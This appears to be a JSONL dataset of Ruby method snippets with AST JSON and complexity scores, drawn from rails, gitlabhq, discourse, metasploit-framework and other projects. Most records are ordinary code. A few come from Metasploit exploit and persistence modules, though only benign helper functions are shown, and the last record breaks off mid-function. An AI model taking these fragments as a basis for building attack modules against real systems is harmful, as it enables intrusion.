{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/purging.rb","start_line":77,"raw_source":"def self.purge_realtime(older_than, _window = nil, _total_limit = nil)\n    truncate_child_tables(older_than)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"purge_realtime\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"older_than\"]},{\"type\":\"optarg\",\"children\":[\"_window\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"_total_limit\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"truncate_child_tables\",{\"type\":\"lvar\",\"children\":[\"older_than\"]}]}]}","id":"b4323b51-9636-49c4-9d0a-4d8c995fef24"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/quoting_test.rb","start_line":137,"raw_source":"def test_quote_nil\n        assert_equal \"NULL\", @quoter.quote(nil)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_quote_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"NULL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quoter\"]},\"quote\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"d1c3208f-6744-40cb-bc4a-72a169e0ecb7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb","start_line":67,"raw_source":"def get_nodes\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'nodes?view=summary')\n    })\n    return unless res && res.code == 200\n\n    JSON.parse(res.body)\n  end","complexity_score":13.13,"ast_json":"{\"type\":\"def\",\"children\":[\"get_nodes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"nodes?view=summary\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]}","id":"bcfc3057-f91c-4b0f-918c-b748bccd3b56"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":454,"raw_source":"def test_ord_should_return_unicode_value_for_first_character\n    assert_equal 12371, @chars.ord\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ord_should_return_unicode_value_for_first_character\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[12371]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"ord\"]}]}]}","id":"f9dc328f-572d-4f16-87fd-722036a17001"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":2157,"raw_source":"def match_primary_group_changes\n    return unless primary_group_id_changed?\n\n    self.title = primary_group&.title if Group.exists?(id: primary_group_id_was, title: title)\n\n    self.flair_group_id = primary_group&.id if flair_group_id == primary_group_id_was\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"match_primary_group_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_group_id_changed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"primary_group_id_was\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"title=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_group\"]},\"title\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flair_group_id\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"primary_group_id_was\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"flair_group_id=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_group\"]},\"id\"]}]},null]}]}]}","id":"93003518-39b7-419a-8b92-1790bdee21e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/event_tester.rb","start_line":22,"raw_source":"def initialize(framework, opts)\n      super\n      @subscriber = Subscriber.new\n      framework.events.add_custom_subscriber(@subscriber)\n      framework.events.add_db_subscriber(@subscriber)\n      framework.events.add_exploit_subscriber(@subscriber)\n      framework.events.add_general_subscriber(@subscriber)\n      framework.events.add_session_subscriber(@subscriber)\n      framework.events.add_ui_subscriber(@subscriber)\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@subscriber\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscriber\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"events\"]},\"add_custom_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"events\"]},\"add_db_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"events\"]},\"add_exploit_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"events\"]},\"add_general_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"events\"]},\"add_session_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"events\"]},\"add_ui_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]}]}]}","id":"a682fa9e-1536-4a99-9cad-ce39418e9b68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/patches/collection.rb","start_line":9,"raw_source":"def initialize(one_or_more_patches)\n          @patches = Array(one_or_more_patches).map do |patch_content|\n            Gitlab::Git::Patches::Patch.new(patch_content)\n          end\n        end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"one_or_more_patches\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@patches\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"one_or_more_patches\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"patch_content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Patches\"]},\"Patch\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"patch_content\"]}]}]}]}]}","id":"37673a96-40f2-4fed-a297-2d9305d62882"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":1397,"raw_source":"def test_preserves_existing_primary_key\n    assert_equal(2, ships(:interceptor).id)\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preserves_existing_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ships\",{\"type\":\"sym\",\"children\":[\"interceptor\"]}]},\"id\"]}]}]}","id":"f941c428-c5dc-4ebd-b0ca-cb79a151f58f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb","start_line":995,"raw_source":"def test_has_and_belongs_to_many_with_belongs_to\n    sink = Sink.create! kitchen: Kitchen.new, sources: [Source.new]\n    assert_equal 1, sink.sources.count\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_and_belongs_to_many_with_belongs_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sink\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sink\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kitchen\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kitchen\"]},\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sources\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Source\"]},\"new\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sink\"]},\"sources\"]},\"count\"]}]}]}]}","id":"4c5b4a8d-f99b-4599-b156-6732a8fd9a77"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb","start_line":157,"raw_source":"def configure_connection\n          @raw_connection.query_options[:as] = :array\n          @raw_connection.query_options[:database_timezone] = default_timezone\n          super\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"query_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"query_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"database_timezone\"]},{\"type\":\"send\",\"children\":[null,\"default_timezone\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e3026d40-3560-4563-9e70-6de538414f8e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_continuation_spacing.rb","start_line":130,"raw_source":"def ignored_parent?(node)\n          return false unless node.parent\n\n          node.parent.type?(:regexp, :xstr)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ignored_parent?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"regexp\"]},{\"type\":\"sym\",\"children\":[\"xstr\"]}]}]}]}","id":"ccbc5c98-0256-40a3-a52c-69cd9dee6f9d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/ui/interface.rb","start_line":25,"raw_source":"def important(_message)\n      not_implemented(__method__)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"important\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_message\"]}]},{\"type\":\"send\",\"children\":[null,\"not_implemented\",{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}","id":"b0499eb2-3943-499c-be08-b00fc519ff96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/restricted_signup.rb","start_line":52,"raw_source":"def created_by_key\n    created_by&.can_admin_all_resources? ? :admin : :nonadmin\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"created_by_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_by\"]},\"can_admin_all_resources?\"]},{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"sym\",\"children\":[\"nonadmin\"]}]}]}","id":"5e10f3c8-0351-44e3-813e-b9c64523b82d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/config/site_settings_controller.rb","start_line":14,"raw_source":"def index\n    if params[:plugin].blank? && params[:categories].blank? && params[:filter_names].blank? &&\n         SiteSetting.valid_areas.exclude?(params[:filter_area])\n      raise Discourse::InvalidParameters\n    end\n\n    render_json_dump(\n      site_settings:\n        SiteSetting.all_settings(\n          filter_names: params[:filter_names],\n          filter_area: params[:filter_area],\n          filter_plugin: params[:plugin],\n          filter_categories: Array.wrap(params[:categories]),\n          include_locale_setting: params[:filter_area] == \"localization\",\n          include_hidden: true,\n          filter_allowed_hidden: ADMIN_CONFIG_AREA_ALLOWLISTED_HIDDEN_SETTINGS,\n        ),\n    )\n  end","complexity_score":44.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"plugin\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"categories\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_names\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"valid_areas\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_area\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"site_settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"all_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_names\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_area\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_area\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_plugin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"plugin\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_categories\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"categories\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_locale_setting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_area\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"localization\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_allowed_hidden\"]},{\"type\":\"const\",\"children\":[null,\"ADMIN_CONFIG_AREA_ALLOWLISTED_HIDDEN_SETTINGS\"]}]}]}]}]}]}]}]}]}","id":"b29806e3-c524-45b6-896c-daefeb267b9a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/structured_event_subscriber.rb","start_line":5,"raw_source":"def redirect(event)\n      payload = event.payload\n      status = payload[:status]\n\n      emit_event(\"action_dispatch.redirect\", {\n        location: payload[:location],\n        status: status,\n        status_name: Rack::Utils::HTTP_STATUS_CODES[status],\n        duration_ms: event.duration.round(2),\n        source_location: payload[:source_location]\n      })\n    end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[null,\"emit_event\",{\"type\":\"str\",\"children\":[\"action_dispatch.redirect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"HTTP_STATUS_CODES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration_ms\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"duration\"]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_location\"]}]}]}]}]}]}]}","id":"38f09ae4-4b1b-42e3-ad47-fa0f0b13ca8f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/profiles/two_factor_auths_controller.rb","start_line":252,"raw_source":"def setup_show_page\n    if two_factor_authentication_required? && !current_user.two_factor_enabled?\n      two_factor_auth_actions = {\n        global: ->(_) do\n          _('The global settings require you to enable Two-Factor Authentication for your account.')\n        end,\n        admin_2fa: ->(_) do\n          _('Administrator users are required to enable Two-Factor Authentication for their account.')\n        end,\n        group: ->(groups) do\n          groups_notification(groups)\n        end\n      }\n      message = execute_action_for_2fa_reason(two_factor_auth_actions)\n      message = append_configure_2fa_later(message) unless two_factor_grace_period_expired?\n      flash.now[:alert] = message\n    end\n\n    @qr_code = build_qr_code\n    @account_string = account_string\n\n    setup_webauthn_registration\n  end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_show_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"two_factor_authentication_required?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"two_factor_enabled?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"two_factor_auth_actions\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"global\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"The global settings require you to enable Two-Factor Authentication for your account.\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin_2fa\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Administrator users are required to enable Two-Factor Authentication for their account.\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"send\",\"children\":[null,\"groups_notification\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"execute_action_for_2fa_reason\",{\"type\":\"lvar\",\"children\":[\"two_factor_auth_actions\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"two_factor_grace_period_expired?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"append_configure_2fa_later\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@qr_code\",{\"type\":\"send\",\"children\":[null,\"build_qr_code\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@account_string\",{\"type\":\"send\",\"children\":[null,\"account_string\"]}]},{\"type\":\"send\",\"children\":[null,\"setup_webauthn_registration\"]}]}]}","id":"bf7766b2-9221-4f28-ba99-43691dcc29ef"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/ignore.rb","start_line":135,"raw_source":"def test_obsolete\n    first_ignored = config.ignored_warnings.first\n    known_warnings = config.instance_variable_get(:@new_warnings)\n    known_warnings.delete first_ignored\n\n    config.filter_ignored\n\n    assert_equal 1, config.obsolete_fingerprints.length\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_obsolete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_ignored\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"ignored_warnings\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"known_warnings\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@new_warnings\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"known_warnings\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"first_ignored\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"filter_ignored\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"obsolete_fingerprints\"]},\"length\"]}]}]}]}","id":"a311105b-9acf-4301-8f59-b426c781b421"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240716125010_remove_fk_to_ci_pipelines_ci_pipelines_config_on_pipeline_id.rb","start_line":13,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(\n        SOURCE_TABLE_NAME,\n        TARGET_TABLE_NAME,\n        name: FK_NAME,\n        reverse_lock_order: true\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"4204ee23-3cd2-4206-8a4a-908be04aced5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/persistence_exe.rb","start_line":126,"raw_source":"def log_file(log_path = nil)\n    # Get hostname\n    if datastore['STARTUP'] == 'TASK' && @cleanup_host\n      # Use the remote hostname when remote task creation is selected\n      # Cleanup will have to be performed on this remote host\n      host = @cleanup_host\n    else\n      host = session.sys.config.sysinfo['Computer']\n    end\n\n    # Create Filename info to be appended to downloaded files\n    filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')\n\n    # Create a directory for the logs\n    logs = if log_path\n             ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n           else\n             ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n           end\n\n    # Create the log directory\n    ::FileUtils.mkdir_p(logs)\n\n    # logfile name\n    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'\n    logfile\n  